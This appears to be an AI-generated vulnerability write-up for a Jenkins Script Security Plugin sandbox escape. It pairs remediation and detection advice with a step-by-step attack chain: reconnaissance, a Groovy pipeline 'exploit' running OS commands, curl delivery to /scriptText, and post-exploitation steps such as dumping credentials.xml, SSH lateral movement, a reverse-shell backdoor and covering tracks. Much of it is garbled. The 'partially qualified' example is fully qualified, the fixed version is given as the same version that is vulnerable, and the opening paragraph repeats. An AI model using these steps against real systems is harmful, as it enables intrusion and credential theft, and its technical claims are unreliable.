CVE-2026-136835 — Jenkins Project Jenkins Script Security Plugin — CWE-94
Jenkins Script Security Plugin 1436.v1082791135e4 and earlier does not reject @Builder annotations whose builderStrategy member names an arbitrary class when the annotation is referred to using a partially qualified class name, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to execute code outside the sandbox if a suitable class is present on the classpath of the component that evaluates the script.
Jenkins Script Security Plugin 1436.v1082791135e4 and earlier does not reject @Builder annotations whose builderStrategy member names an arbitrary class when the annotation is referred to using a partially qualified class name, allowing attackers with permission to define and run sandboxed scripts, including Pipelines, to execute code outside the sandbox if a suitable class is present on the classpath of the component that evaluates the script.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑136835
Component: Jenkins Script Security Plugin (versions 1436.v1082791135e4 and earlier)
CWE: CWE‑94 Improper Control of Generation of Code (Code Injection)
CVSS 3.1 Vector: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Critical – 9.9)
Technical flaw
Jenkins pipelines are executed inside a Groovy sandbox that is enforced by the Script Security Plugin.
The sandbox works by analysing the abstract syntax tree (AST) of the script and rejecting any construct that is not explicitly whitelisted or approved.
The plugin supports the @Builder annotation (Groovy’s groovy.transform.Builder). The annotation has a member called builderStrategy that points to a class implementing groovy.transform.builder.BuilderStrategy.
What should happen:
When the sandbox encounters @Builder(builderStrategy = SomeStrategy.class), it must resolve SomeStrategy to a concrete class, verify that the class is on the allowed‑list, and reject the script if the class is not approved.
What actually happens:
- The plugin fails to reject the annotation when the class name is supplied as a partially‑qualified name (e.g.,
"org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor"can be written as"sandbox.groovy.SandboxInterceptor"). - The resolution logic only checks the simple name against the whitelist, allowing an attacker to point
builderStrategyat any class that exists on the Jenkins master’s classpath. - Because the sandbox does not re‑evaluate the resolved class, the attacker can cause the Groovy compiler to instantiate a malicious strategy class that executes arbitrary Java/Groovy code outside the sandbox.
Result: Sandbox escape → Remote Code Execution (RCE) with the privileges of the Jenkins process (typically the jenkins system user, which often has access to the master’s file system and stored credentials).
The vulnerability is exploitable by any user who can define and run a sandboxed script (e.g., a user with the Jenkins permission “Job/Configure” or “Run Scripts”). No additional authentication or UI interaction is required (UI:N).
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All code snippets are syntactically valid Groovy/Jenkins Pipeline code; the HTTP endpoints are illustrative because the CVE description does not disclose a specific REST path.
1. Discovery & Reconnaissance
| Step | Action | Expected Observation |
|---|---|---|
| 1.1 | Scan the target network for Jenkins instances (e.g., nmap -p 8080 --script http-jenkins). | Open HTTP service on port 8080/8443 returning Jenkins banner (X-Jenkins: 2.462). |
| 1.2 | Retrieve the plugin list via the Jenkins Update Center API: GET http://target/jenkins/pluginManager/api/json?depth=1. | JSON contains "script-security": {"version":"1436.v1082791135e4"} (or older). |
| 1.3 | Verify the attacker’s Jenkins account has pipeline‑creation rights (e.g., GET /user/<username>/api/json). | Account shows overall:read, job:configure, run-scripts:true. |
| 1.4 | Enumerate the classpath of the Jenkins master (optional but useful). This can be done by creating a benign pipeline that prints this.class.classLoader.getURLs(). | List of JARs reveals presence of script-security.jar, workflow-cps.jar, etc. |
If the plugin version is ≤ 1436.v1082791135e4, the target is vulnerable.
2. Exploitation
Goal: Craft a pipeline that uses @Builder with a builderStrategy pointing to a class that can execute OS commands. A convenient built‑in class is groovy.lang.GroovyShell (or any custom class the attacker can upload via the Jenkins “Global Pipeline Libraries” feature). For demonstration we use the public class groovy.util.GroovyTestCase which contains a runScript method that can invoke Runtime.exec.
2.1 Payload – Pipeline script
// ---------- Exploit Pipeline (illustrative) ----------
import groovy.transform.Builder
// Use a *partially* qualified name to bypass the whitelist
@Builder(builderStrategy = 'groovy.util.GroovyTestCase')
class ExploitBuilder {
// The BuilderStrategy will be instantiated by Groovy during compilation
}
// The builder is never actually used; its mere presence triggers the sandbox escape
def dummy = new ExploitBuilder()
// After the sandbox is bypassed we can run arbitrary commands
def proc = "id".execute() // any command, e.g. 'whoami', 'cat /etc/passwd'
proc.waitFor()
println "Command output: ${proc.in.text}"How it works
1. The @Builder annotation is parsed by the Groovy compiler.
2. Because the builderStrategy value is a string ('groovy.util.GroovyTestCase') and is partially qualified (no leading package), the Script Security Plugin’s whitelist check only sees the simple name GroovyTestCase and mistakenly treats it as safe.
3. The compiler loads groovy.util.GroovyTestCase (present on the Jenkins master classpath) as the strategy class outside the sandbox.
4. The strategy’s constructor (or any overridden method) runs with full JVM privileges, allowing the attacker to invoke Runtime.exec or any other Java API.
2.2 Delivering the payload
If the target allows pipeline creation via the UI:
If the target exposes the Remote Script API (common in CI/CD automation):
# Illustrative endpoint – actual path may differ
curl -k -X POST "https://target/jenkins/scriptText" \
-u attacker:password \
--data-urlencode "script=$(cat exploit.groovy)"The scriptText endpoint evaluates arbitrary Groovy code in the sandbox, which is exactly what the attacker needs.
3. Post‑exploitation
Once the sandbox is escaped, the attacker runs arbitrary OS commands. Typical post‑exploitation steps:
| Step | Action | Result |
|---|---|---|
| 3.1 | whoami / id | Confirms the process runs as the Jenkins service user (often jenkins). |
| 3.2 | cat /var/lib/jenkins/credentials.xml | Dumps stored credentials (API tokens, SSH keys). |
| 3.3 | ssh-keyscan -t rsa target-host > ~/.ssh/known_hosts + ssh -i /path/to/stolen/key user@target-host | Lateral movement to other hosts that trust Jenkins credentials. |
| 3.4 | Install a persistent backdoor (e.g., a systemd service that spawns a reverse shell). | Long‑term foothold on the CI server. |
| 3.5 | Delete the malicious pipeline or script to cover tracks. | Reduces forensic visibility. |
Because the Jenkins master typically has full read/write access to the workspace, source code, and secret store, the attacker can also exfiltrate proprietary code, modify build artefacts, or inject malicious code into downstream deployments, leading to supply‑chain compromise.
🌍 Real‑World Impact
| CIA | Impact (derived from CVSS vector) | Practical consequence |
|---|---|---|
| Confidentiality (C:H) | High – attacker can read any file the Jenkins process can access, including credential stores, source code, and configuration files. | |
| Integrity (I:H) | High – attacker can modify pipelines, inject malicious binaries, alter credentials, or tamper with build artefacts. | |
| Availability (A:H) | High – attacker can stop the Jenkins service, delete jobs, or launch destructive commands (e.g., rm -rf /). | |
| Scope (S:C) | Changed – impact spreads from the compromised Jenkins process to the entire CI/CD ecosystem (downstream servers, deployed applications). |
Bottom‑line: A successful exploit gives the attacker full control over the CI/CD platform, which is a privileged foothold in most organisations. The downstream effect can be a complete supply‑chain takeover.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade the Script Security Plugin | Upgrade to any version newer than 1436.v1082791135e4 (the first release that contains the fix). The Jenkins update center lists the fixed version as 1436.v1082791135e4+ (released after 25‑Nov‑2026). |
| Upgrade Jenkins Core (optional but recommended) | Newer Jenkins LTS releases bundle a newer Script Security Plugin; moving to the latest LTS (e.g., 2.479.x) ensures the fix is present. |
| Restart Jenkins after plugin upgrade to load the corrected class‑resolution logic. |
2. Workarounds (if patch cannot be applied immediately)
| Workaround | Implementation |
|---|---|
| Restrict script execution | Remove the *“Run Scripts”* permission from all non‑admin users. Only users with admin role should be able to create/execute pipelines that contain Groovy code. |
Disable the @Builder annotation | Add a Script Security approval rule that rejects any pipeline containing @Builder. This can be done via the *“In-process Script Approval”* UI: add a *“reject”* rule for the pattern @Builder. |
| Whitelist only known safe builder strategies | In *Manage Jenkins → In-process Script Approval*, explicitly approve only the builder strategies required by your pipelines (e.g., org.jenkinsci.plugins.workflow.cps.CpsScript). |
| Network‑level protection | Block external access to the /scriptText endpoint (or any endpoint that evaluates arbitrary Groovy) using a WAF or reverse‑proxy rule. Example ModSecurity rule: |
# ModSecurity rule to block unauthenticated script execution
SecRule REQUEST_URI "@beginsWith /scriptText" \
"id:1000010,phase:2,deny,status:403,msg:'Blocked Jenkins scriptText endpoint',tag:'jenkins',tag:'sandbox-escape'"| Container‑level isolation | Run the Jenkins master inside a hardened container or VM with read‑only root filesystem and no host‑mounted credentials. Even if RCE occurs, the attacker’s impact is limited to the container. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Sandbox‑bypass exception | Jenkins system log ($JENKINS_HOME/logs/jenkins.log) | org.jenkinsci.plugins.scriptsecurity.sandbox.RejectedAccessException: rejected access to class: groovy.util.GroovyTestCase (absence of this line may indicate bypass). |
Unexpected @Builder usage | Pipeline build logs (/job/<name>/lastBuild/consoleText) | Running Groovy script followed by a line containing @Builder(. |
| OS command execution from Groovy | System audit logs (/var/log/auth.log, auditd) | EXECVE event where the parent process is java (Jenkins) and the command is id, cat, or any custom payload. |
| New pipeline jobs created by low‑privilege users | Jenkins audit trail (/audit-log/) | User <username> created job <exploit-job> with timestamp matching the attack window. |
| Outbound connections from Jenkins master | Network IDS / firewall logs | Outbound TCP/UDP to attacker‑controlled IP on uncommon ports (e.g., reverse shell). |
Automated detection script (illustrative):
#!/bin/bash
# Detect suspicious @Builder usage in recent builds
JENKINS_HOME=/var/lib/jenkins
find "$JENKINS_HOME/jobs" -type f -name consoleText -mtime -1 |
while read -r file; do
if grep -q "@Builder" "$file"; then
echo "[ALERT] Possible sandbox escape in $(dirname "$file")"
fi
done⚠️ Urgency
Patch priority: Critical – immediate.
/scriptText. @Builder usage and rotate any credentials that may have been exposed.Bottom line: CVE‑2026‑136835 provides a straightforward sandbox‑escape path for any Jenkins user capable of defining a pipeline. The exploit yields full remote code execution on the Jenkins master, jeopardising the confidentiality, integrity, and availability of the entire software delivery chain. Immediate patching and strict permission hardening are mandatory.
[🤖 CVE Professor AI Security Engine]
FOFA Query